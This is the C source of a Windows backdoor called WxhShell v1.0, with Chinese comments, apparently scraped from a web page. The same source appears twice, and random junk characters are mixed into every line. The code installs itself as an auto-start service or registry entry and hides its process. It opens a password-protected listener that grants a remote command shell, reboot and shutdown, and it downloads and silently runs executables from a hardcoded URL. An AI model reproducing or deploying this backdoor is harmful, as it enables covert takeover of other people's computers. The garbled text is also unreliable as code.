" if(NULL == hInst ) return 0; 5_SxX@fW% u)l[*";S g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^0/!:*? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kqLpt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [O6JVXO> "mcuF]7F if (!NtQueryInformationProcess) return 0; _61tE Q>\9/DjUp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
0|?DA12Z if(!hProcess) return 0; QW&@>i {;hRFQ^b if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N ^H
H&~V M'$?Jp#]} CloseHandle(hProcess); wVUm!Y XMpE|M!c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QB7^8O!< if(hProcess==NULL) return 0; h'A
#Yp0, WQHlf0] HMODULE hMod; m_UzmWF char procName[255]; &-|(q!jm unsigned long cbNeeded; Gdlx0i r
D|Bj(X8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AaJz3oncJ OWmI$_L CloseHandle(hProcess); QC+BEN$ 58Z,(4:E if(strstr(procName,"services")) return 1; // 以服务启动 _i0,?U2C 7[(<t+ return 0; // 注册表启动 G3t\2E9S } `R:HMO[ow 9Oc(Gl5az // 主模块 -[7S. int StartWxhshell(LPSTR lpCmdLine) 6CzN[R} { k7bfgb{ SOCKET wsl; 3yM!BTlX BOOL val=TRUE; -)E6{ int port=0; +Z/aG k; struct sockaddr_in door; $9<P3J 1 Mj:=$}rs^ if(wscfg.ws_autoins) Install(); {c=H#- A &fwb?Vn4 port=atoi(lpCmdLine); u]t#Vf-$u o&rNM5: if(port<=0) port=wscfg.ws_port; |z.Ov&d4)( zA&]#mc WSADATA data; m H&WoL<K if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h?&S*)1 ],Y+|uX-> if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uh~,>~a| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $:*/^)L door.sin_family = AF_INET; 8MCSU'uQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); OyTp^W`& door.sin_port = htons(port); I)f54AX %;YERO! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P!lTK
closesocket(wsl); $lAhKpdlW return 1; (\$=+' hy } F0+@FS0 bOdyrynh if(listen(wsl,2) == INVALID_SOCKET) { %hb!1I closesocket(wsl); RhumNP<M return 1; 7f
q\
H{ } M1=y-3dW3 Wxhshell(wsl); #W=H)6 WSACleanup(); qvN 5[rb nV?e(}D return 0; j*@EJ"Gm> /Wm3qlv } 4(}V$#^+ )Xd2qbi // 以NT服务方式启动 F5/,H:K\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kI#yW! { y
;T=u(} DWORD status = 0; di#:KW DWORD specificError = 0xfffffff; 2W=am_\0e. atjrn:X serviceStatus.dwServiceType = SERVICE_WIN32; )\0LxsZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; tU(vt0~b serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EyPF'|Qtn serviceStatus.dwWin32ExitCode = 0; Z<6Fq*I serviceStatus.dwServiceSpecificExitCode = 0; e(sV4Z~ serviceStatus.dwCheckPoint = 0; ;PG,0R`Z; serviceStatus.dwWaitHint = 0; xouy|Nn' <LOas$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9/R<, if (hServiceStatusHandle==0) return; }TAHVcX*p naWW i]9 status = GetLastError(); zrCQEQq if (status!=NO_ERROR) 9_\1cSk' { >&2n\HR\ serviceStatus.dwCurrentState = SERVICE_STOPPED; %^66(n) serviceStatus.dwCheckPoint = 0; 9Y-6e0B: serviceStatus.dwWaitHint = 0; RF.8zea{O` serviceStatus.dwWin32ExitCode = status; "ku ?A ^f serviceStatus.dwServiceSpecificExitCode = specificError; >Y[nU~ w SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5nJmabw3 return; XKT2u!Lx } L#NW<T X| X~|&j serviceStatus.dwCurrentState = SERVICE_RUNNING; 7"Iagrgw serviceStatus.dwCheckPoint = 0; U4$CkTe2Y serviceStatus.dwWaitHint = 0; t(?tPt4zp if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9<S};I; } :p,DAt} %.;`0}b // 处理NT服务事件,比如:启动、停止 K=X13As_ VOID WINAPI NTServiceHandler(DWORD fdwControl) NKS-G2Y<P { ^J$?[@qD switch(fdwControl) )nJh) {4\ { M4(`o^n case SERVICE_CONTROL_STOP: dGBVkb4]T serviceStatus.dwWin32ExitCode = 0; >J
No2 serviceStatus.dwCurrentState = SERVICE_STOPPED; 7e
D<( serviceStatus.dwCheckPoint = 0; 9a0ibN6m serviceStatus.dwWaitHint = 0; W-ll2b { #-Nc1+gu SetServiceStatus(hServiceStatusHandle, &serviceStatus); >@NGX-gp } EkE U}2 return; Rt10:9Kz$ case SERVICE_CONTROL_PAUSE: nXnO]wXC serviceStatus.dwCurrentState = SERVICE_PAUSED; vx8-~Oq{|; break; .ITR3]$ case SERVICE_CONTROL_CONTINUE: v22ZwP serviceStatus.dwCurrentState = SERVICE_RUNNING; p[lciWEW break; V57tn6>b case SERVICE_CONTROL_INTERROGATE: 0"to]= break; nI6[y)j }; *ioVLt,:R SetServiceStatus(hServiceStatusHandle, &serviceStatus); j9Y'HU5" } >
:
;*3 SH${ \BKup // 标准应用程序主函数 SvD^'(
x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t)/:VImY { l&1R`g cW nofK(0TF // 获取操作系统版本 51lN,VVD OsIsNt=GetOsVer(); P1f@?R&t+ GetModuleFileName(NULL,ExeFile,MAX_PATH); H%AC *, c_YP#U // 从命令行安装 XKq}^M&gy if(strpbrk(lpCmdLine,"iI")) Install(); <X,0\U!lL 8~")9w // 下载执行文件 R7xEE7p if(wscfg.ws_downexe) { =-U8^e_Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f.&((z?rC WinExec(wscfg.ws_filenam,SW_HIDE); Pwh0Se5Z } -N]%)Hy l
/\n7: if(!OsIsNt) { M;Dk$B{;R // 如果时win9x,隐藏进程并且设置为注册表启动 HQOz HideProc(); '6&a8&: StartWxhshell(lpCmdLine); 9s}y*Vp } B Ctm05 else j\S}TaH0e if(StartFromService()) };=44E'7 // 以服务方式启动 CnA0^JX StartServiceCtrlDispatcher(DispatchTable); AT%@T| else -I\Y
m_) // 普通方式启动 !{,
`h< StartWxhshell(lpCmdLine); pNzSy"Y$ IT\lkF2 return 0; ADQ#qA,/ } ?QXc,*=N O~WT$ ;=[~2*8 c/q -WEKL =========================================== m|5yET bez_|fY{T $J]b+Bp X^;LiwQv oI6l `K$ T+y3Ph--^ " aA5rvP+ 09psqXU@I #include <stdio.h> }L1-2 #include <string.h> N$i|[>`j #include <windows.h>
`>mT/Rmb@ #include <winsock2.h> v3vQfcxR #include <winsvc.h> ^Q'^9M2) #include <urlmon.h> mSu1/?PS *&VqAc%qD #pragma comment (lib, "Ws2_32.lib") iEJY[P1 #pragma comment (lib, "urlmon.lib") (\=iKE4# OYsG# #define MAX_USER 100 // 最大客户端连接数 v)a$;P% #define BUF_SOCK 200 // sock buffer },G>+ s8h #define KEY_BUFF 255 // 输入 buffer ;ESuj'*t C=z7Gk= #define REBOOT 0 // 重启 X_0Ta_u?T #define SHUTDOWN 1 // 关机 [N-t6Z* +%hA6n #define DEF_PORT 5000 // 监听端口 U[Pll~m2b C
{GSf`D!T #define REG_LEN 16 // 注册表键长度 -`o22G3w #define SVC_LEN 80 // NT服务名长度 ?xbPdG":R ma<+!*| // 从dll定义API [e:mRMi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [aK7v{Wu typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ??!+2G#%! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ' N@1+v= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] hxE^/8 7 (KF=v31_m // wxhshell配置信息 ?u`TX_OsB struct WSCFG { E9L)dMZSpj int ws_port; // 监听端口 +4,v.B@ char ws_passstr[REG_LEN]; // 口令
b :,S int ws_autoins; // 安装标记, 1=yes 0=no N<\U$\i char ws_regname[REG_LEN]; // 注册表键名 _k,/t10 char ws_svcname[REG_LEN]; // 服务名 ^\X-eeA char ws_svcdisp[SVC_LEN]; // 服务显示名 Yb<t~jm char ws_svcdesc[SVC_LEN]; // 服务描述信息 I<'wZJRRa char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y GZX}- int ws_downexe; // 下载执行标记, 1=yes 0=no FD&"k=p+X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l }i
. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7;UUS1 x[,HK{U|t }; jJN.( P1Z+XRWOM // default Wxhshell configuration
'7!b#if struct WSCFG wscfg={DEF_PORT, D-[`wCa, "xuhuanlingzhe", O<1qU
M 1, V_&>0P{q "Wxhshell", @GB~rfB[ "Wxhshell", XCGJ~ "WxhShell Service", [a&|c%h "Wrsky Windows CmdShell Service", jo.Sg:7& "Please Input Your Password: ", 0koC;(<n 1, "Yo.]PU "http://www.wrsky.com/wxhshell.exe", pL{h1^O} "Wxhshell.exe" J 1?)z+t9~ }; EMDsi2 /idQfff // 消息定义模块 ="$9
<wt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }K!)Z}8 char *msg_ws_prompt="\n\r? for help\n\r#>"; z]NzLz9VfL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nQ0g,'o char *msg_ws_ext="\n\rExit."; >&|C
E2' char *msg_ws_end="\n\rQuit."; [,Io!O char *msg_ws_boot="\n\rReboot..."; MVGznf? char *msg_ws_poff="\n\rShutdown..."; 5/:BtlFx char *msg_ws_down="\n\rSave to "; rI\G&OqpP 6d RxfbL char *msg_ws_err="\n\rErr!"; F9sVMV char *msg_ws_ok="\n\rOK!"; h|_E>6d) R).?lnS char ExeFile[MAX_PATH]; Jv*(DFt!v int nUser = 0; [dK5kO HANDLE handles[MAX_USER]; GgoPwl#{ int OsIsNt; a)+;<GZ~ H0zKL]D'> SERVICE_STATUS serviceStatus; Fu*~{n SERVICE_STATUS_HANDLE hServiceStatusHandle; C0xjM0 X
8V^ // 函数声明 t,*hxzD" int Install(void); T9@W,0# int Uninstall(void); X\r?g int DownloadFile(char *sURL, SOCKET wsh); Q0)6 2[cMm int Boot(int flag); Hoaf3
`n void HideProc(void); ):@XMECa int GetOsVer(void); o<*H!oyP\ int Wxhshell(SOCKET wsl); m"{D}(TA void TalkWithClient(void *cs); D0(%{S^ int CmdShell(SOCKET sock); _E[zYSo` int StartFromService(void); pNN6P sLt int StartWxhshell(LPSTR lpCmdLine); GZ.Fq U*.Wx0QM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6dG:3n} VOID WINAPI NTServiceHandler( DWORD fdwControl ); ##gq{hgjb$ a&6e~E$K2 // 数据结构和表定义 N|n"JKw) SERVICE_TABLE_ENTRY DispatchTable[] = Oy:;v7 { "T`Q, {wscfg.ws_svcname, NTServiceMain}, xwZcO {NULL, NULL} H'fmQf }; a9CY,+z5B Le&SN7I // 自我安装 r sf +dC int Install(void) ]V,wIyC { Sga/i?! char svExeFile[MAX_PATH]; B 4pJg HKEY key; Voi`OCut strcpy(svExeFile,ExeFile); fdIO'L_ ZGUhje! // 如果是win9x系统,修改注册表设为自启动 G+^Q
_w if(!OsIsNt) { gpB pG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EkV
LSur RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #K8kz RegCloseKey(key); g1JBssw&m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >4gGb) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y)kO" RegCloseKey(key); :G/T{87H return 0; ,&Iw5E[ } K:!|xr(1d } `'Fz:i } A4lh`n5% else { 3cuVyf<v j'#Y$d1. // 如果是NT以上系统,安装为系统服务 LTGKs^i4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K5O8G if (schSCManager!=0) |Co ?uv
i { 1l$c*STK SC_HANDLE schService = CreateService :Ogt{t ( #&JhA2]q schSCManager, j[zo~Y4z wscfg.ws_svcname, #HjiE wscfg.ws_svcdisp, Ww9%6 #it SERVICE_ALL_ACCESS, &,pL3Qos SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KLpe!8tAe SERVICE_AUTO_START, Xx~ za{p SERVICE_ERROR_NORMAL, 3snr-) svExeFile,
D$W&6' NULL, 26yjQ NULL, x>5"7MR` NULL, /&g5f4[|p NULL, *~~&*&+ NULL 2R:I23[#B ); >
YHwWf- if (schService!=0) O s*B%,} { h
rL_. 4 CloseServiceHandle(schService); KkVFY+/) CloseServiceHandle(schSCManager); C5Fk>[fS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >k gL N strcat(svExeFile,wscfg.ws_svcname); |D `r o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J7FCW^-`3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~)';[Ha RegCloseKey(key); 5l"/lGw return 0; W`}C0[%VW } f>LwsP } l+e L:C! CloseServiceHandle(schSCManager); S+03aJNN# } *=OU~68)C } iNn]~L1 |a7W@LVYD return 1; ?}y{tav= } a1lF8; [ os|Y=a // 自我卸载 NdpcfZq int Uninstall(void) RrM C[2=
{ ^T):\x( HKEY key; Y|eB;Dm1q jSLNQ if(!OsIsNt) { CAGaZ rx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .G"UM>.}d RegDeleteValue(key,wscfg.ws_regname); GtQ$`~r RegCloseKey(key); pkd#SY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JI{|8)S RegDeleteValue(key,wscfg.ws_regname); ~*WSH&ip RegCloseKey(key); 0/".2(\}T return 0; bVEt?E*+ } Ood8Qty( } y6.Q\= } ?W l=F/ else { >"^H"K/T ?.&]4z([ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [i7Ug.Oi" if (schSCManager!=0) L
B:wo.X { U#=Q` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U%2[,c_ if (schService!=0) _wa1R+`_ { H{Zfbb if(DeleteService(schService)!=0) { ES~ykE CloseServiceHandle(schService); %i!&Fr CloseServiceHandle(schSCManager); Z:Hk'|q}I return 0; A"wor\( } YQU#aOl CloseServiceHandle(schService); ^j"*-)R } m2!y;)F0 CloseServiceHandle(schSCManager); gwvy$H } Q+d9D1b } c< ke)@ `4Jlf! return 1; *],]E; } Jh3(5d"MV o$k1&hyH // 从指定url下载文件 &|t*9D int DownloadFile(char *sURL, SOCKET wsh) 9~8UG ( { ?S9!;x< HRESULT hr; nl9G1Sm(E char seps[]= "/"; N7A/&~g5L char *token; N%1T>cp0 char *file; B>dXyo char myURL[MAX_PATH]; CO25 char myFILE[MAX_PATH]; XdKhT61 8G 8$SA"c) strcpy(myURL,sURL); `mU'{ token=strtok(myURL,seps); #!,tId while(token!=NULL) * A B { s`2Hf&%aZJ file=token; dpHK~n j\_ token=strtok(NULL,seps); W~ 6ii\ } MV"aO@ lNtZd?=> GetCurrentDirectory(MAX_PATH,myFILE); n:c)R8X] strcat(myFILE, "\\"); a8K"Z-LlQ strcat(myFILE, file); bAIo5lr send(wsh,myFILE,strlen(myFILE),0); vM5u]u! send(wsh,"...",3,0); }gY:VDW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !oTF2Q+C if(hr==S_OK) 9p
;)s return 0; T\g%. else RIXUzKLO return 1; FsrGI
(x? k@qn'Zi } S<Zb>9pl w!{g^*R+! // 系统电源模块 v1h*/#
int Boot(int flag) :'-FaGy { ;M '?k8L HANDLE hToken; Ip}(!D| TOKEN_PRIVILEGES tkp; 86J7%;^Xa E}S)uI,gn if(OsIsNt) { H]a; <V9[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &M$s@FUY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZJz6{cY tkp.PrivilegeCount = 1; (;^VdiJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )M5:aSRz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o,a3J:j] if(flag==REBOOT) { 9OYsI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tA?P$5?-* return 0; +(d\`{A } <<>?`7N else { Q>y2C8rnJ/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9;3f`DK@2k return 0; [([?+Ouy } y>zPsc, } mZ9+.lm else { %;0Llxf" if(flag==REBOOT) { /JPyADi if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "g7`Ytln return 0; .@{W6
/I } 9N^&~O|1 else { zItf>j7|Z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !2oe;q2X[G return 0; SdF*"]t } x|/zn<\^ } ?A7&SdJaO p;av63i return 1; `PI,tmv! } WZ}c)r*R "qEHK; // win9x进程隐藏模块 SJhcmx+ void HideProc(void) M%H<F3 { uZ mi
JwR]! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q8.SD p if ( hKernel != NULL ) Q5'DV!0aSv { 6AgevyVG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BwO^F^Pr?k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f`@$saFD FreeLibrary(hKernel); ^`
N+mlh } BR5r K )cc:Z7p return; :4|W;Lkd! } gD0O7KO d)m+Hc. // 获取操作系统版本 .{as"h-.O int GetOsVer(void) 4}B9y3W:v { 7_>No*[ OSVERSIONINFO winfo; (JS1}T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X)iQ){21V GetVersionEx(&winfo); mx s=< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _uL{@( return 1; )+2GF0% else ?[Xv(60] return 0; j["b*X`8G } d[ql7 )24r^21.q // 客户端句柄模块 `mV&[`NZ int Wxhshell(SOCKET wsl) i,>yIPBU! { (C/2shr 8 SOCKET wsh; ON~jt[ struct sockaddr_in client; 9J%
~?k DWORD myID; @]u nqCO H8j#rC#&pm while(nUser<MAX_USER) !gv/ jdF { b`N0lH.V int nSize=sizeof(client); >pjmVlw? wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >x0"gh if(wsh==INVALID_SOCKET) return 1; 1au1DvH "\bbe @ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *"#62U6 if(handles[nUser]==0) FCxLL")) closesocket(wsh); 9:N@+;|T else HgJ:R f] nUser++; +VSJve | } \vbU| a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *9((X,v@/ ej dYh $ return 0; }6SfI; } f Co- ony Ht,_<zP; // 关闭 socket qh;ahX~ void CloseIt(SOCKET wsh) 4PUSFZK? { fMRBGcg7Dc closesocket(wsh); dD@k{5 nUser--; *Q=ER ExitThread(0); U%3d_"{; } [80jG+6 9dl\`zlA* // 客户端请求句柄 lNuZg9h void TalkWithClient(void *cs) 7)sEW#d! { K:&FWl. .ky(( SOCKET wsh=(SOCKET)cs; z+5l:f char pwd[SVC_LEN]; ~[bS+]d! char cmd[KEY_BUFF]; sev^ char chr[1]; BG!;9Z{u int i,j; 7r,'a{Rcn vKYdYa\
while (nUser < MAX_USER) { z6e)|*cA$ "X~ayn'@w, if(wscfg.ws_passstr) { D@"g0SW4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uKF?UXc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HlEp
Dph% //ZeroMemory(pwd,KEY_BUFF); e<s56<3j i=0; 1'tagv?
while(i<SVC_LEN) { -:IG{3fnu VF1)dd // 设置超时 +#~=QT9 fd_set FdRead; >}{'{
Z
& struct timeval TimeOut; g'G% BX FD_ZERO(&FdRead); !<\"XxK+l FD_SET(wsh,&FdRead); @cNBY7= TimeOut.tv_sec=8; Cw1Jl5OVZ TimeOut.tv_usec=0; =/wAk0c^y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i1RU5IRy|j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tX)l$oRPr b6%T[B B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iR
j/Tm*T' pwd=chr[0]; a86m?)-c if(chr[0]==0xd || chr[0]==0xa) { FtbqZN[ pwd=0; Gxk=]5<7 break; .U|e#t } V
{R<R2h1 i++; g
_fvbVX } xo#&&/6 D6&fDhO27 // 如果是非法用户,关闭 socket .ruGS.nS4 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /5M@>A^?' } 9An_zrJ%i fRKO> /OT send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5HP6o send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?d`?Ss;v ZzfGs while(1) { |0nbO2} .])ubK_9 ZeroMemory(cmd,KEY_BUFF); gIrVrAV# 1Y iUf // 自动支持客户端 telnet标准 NQS@i'W=g j=0; Pk444_"= while(j<KEY_BUFF) { D)z'FOaI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q]Gym 7o cmd[j]=chr[0]; o"D`_ER if(chr[0]==0xa || chr[0]==0xd) { Rz%
Px: M cmd[j]=0; }m NP[L break; e;8>/G } ;EstUs3 j++; ;}),6R } ZM"J5}h z#*M}RR // 下载文件 >xu}eWSz if(strstr(cmd,"http://")) { QW :-q(s send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^L}fj$
if(DownloadFile(cmd,wsh)) O)C
y4[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); -.ITcDg else b%>vhj&F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Ya+#j~CZ } #UGtYD}" else { Sd?:+\bS; :@KU_U)\ switch(cmd[0]) { wWm1G) =mV1jGqX // 帮助 8XtZF,Du case '?': { oeKI9p13\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zp[Uh]-dMK break; `-!t 8BH } F`,XB[}2 // 安装 'c[4-m3bg case 'i': { q%8%J'Fro if(Install()) TTcMIMyLT send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt{?Ntb else _U)BOE0o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %.,-dV' break; c"R`7P } z VleJ!d // 卸载 @F)51$Ld case 'r': { un|+YqLf if(Uninstall()) 9?B}CCE<LR send(wsh,msg_ws_err,strlen(msg_ws_err),0); @f442@_4 else f h05*]r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IT&
U%hw break; n1K"VjZk } ,lSt}Lml // 显示 wxhshell 所在路径 5]cmDk case 'p': { [?uiM^& char svExeFile[MAX_PATH]; ,Zs:e. strcpy(svExeFile,"\n\r"); GKdQ strcat(svExeFile,ExeFile); OI;0dS send(wsh,svExeFile,strlen(svExeFile),0); yQb^]|XG break; v3
4!rL } 7eb^^a? // 重启 %g7 !4 case 'b': { 9`4mvK/@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H@0i}!U64 if(Boot(REBOOT)) 2\&uO send(wsh,msg_ws_err,strlen(msg_ws_err),0); K(RG:e~R0i else { ]~~PD?jh closesocket(wsh); K~gt=NH ExitThread(0); qPsf`nI7 } YCod\} 3 break; TR3_!0 } hX4&B // 关机 ^n#6CW*n case 'd': { cn (-{dCXM send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Jo'!|] if(Boot(SHUTDOWN)) M@@l>"g@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%Jq9_
else { :-HVK^$% closesocket(wsh); i-Ck:-J ExitThread(0); 4Z>KrFO } --E_s/ break; 1~\YJEsb}d } Up?w>ly // 获取shell d5&avL\ case 's': { UZsL0 CmdShell(wsh); [pi!+k closesocket(wsh); O'y8[< ExitThread(0); ''P.~~ezr5 break; &Ji!*~sE } 9`kxyh</ // 退出 8'J"+TsOW case 'x': { g[<K FVlG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CDcZ6.f CloseIt(wsh); fT1/@ break; }$5S @, } t_1(Ex // 离开 .s-X%%e\ case 'q': { 2lNZwV7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); rn3GBWC_C closesocket(wsh); rvjPm5[t WSACleanup(); 9^ITP!~e* exit(1); b^b@W^\hn break; 0Q>f,}W%> } P)x&9OHV } qP? V{N } @{16j#'R 9xL8 ];- // 提示信息 M3-
bFIt if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|\^O[#R } x*GGO)r
} nxH+XHv KS%LX c(' return; 3>FeTf#: } QiBo]`)% .Fo0AjL}x // shell模块句柄 .Bxv|dji int CmdShell(SOCKET sock) /KDKA) { vAZc.=+ > STARTUPINFO si; +\~.cP7[ ZeroMemory(&si,sizeof(si)); r|2Y|6@ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9m^"ca si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ktX\{g! U PROCESS_INFORMATION ProcessInfo; I6?n> char cmdline[]="cmd"; _7df(+.{<A CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R7%'
vZk return 0; 7=yV8.cD } Zd$a}~4~ ,h1
z8.wD| // 自身启动模式 feg int StartFromService(void) !DgN@P.o { o%dKi] typedef struct +[386 { 7,0^|P DWORD ExitStatus; G&qO{" Js DWORD PebBaseAddress; .f)&;Af^ DWORD AffinityMask; [JI>e;l
C: DWORD BasePriority; 1b*Me' ULONG UniqueProcessId; j>f ULONG InheritedFromUniqueProcessId; [-}LEH1[p } PROCESS_BASIC_INFORMATION; '
lt5| 2JY]$$K7 PROCNTQSIP NtQueryInformationProcess; ]o}g~Xn :E
]Ys static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hKa<9>MI` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kY d'6+m :iW+CD)j HANDLE hProcess; ~*aPeJ PROCESS_BASIC_INFORMATION pbi; !EO*xxQ f;os\8JdM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J_PAWW if(NULL == hInst ) return 0; kpT>xS^6< _}8hEv g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d.wu g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )S41N^j. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7K"{}: )F_0('=t if (!NtQueryInformationProcess) return 0; @ol}~&"
S0-f_,( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }4'5R if(!hProcess) return 0; 8%C7!l q S#km`N` if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ht >5R KO*# ^+g CloseHandle(hProcess); z$#q'+$ 5q<cZ)v#& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NXwthc3 if(hProcess==NULL) return 0; \YXzq<7 tOUpK20q.@ HMODULE hMod; i_/A,5TF char procName[255]; mab921-n unsigned long cbNeeded; S5o\joc 1!N|a< # if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !e>+O^ )Z4ilpU, CloseHandle(hProcess); c*>8VW> }STTDq4 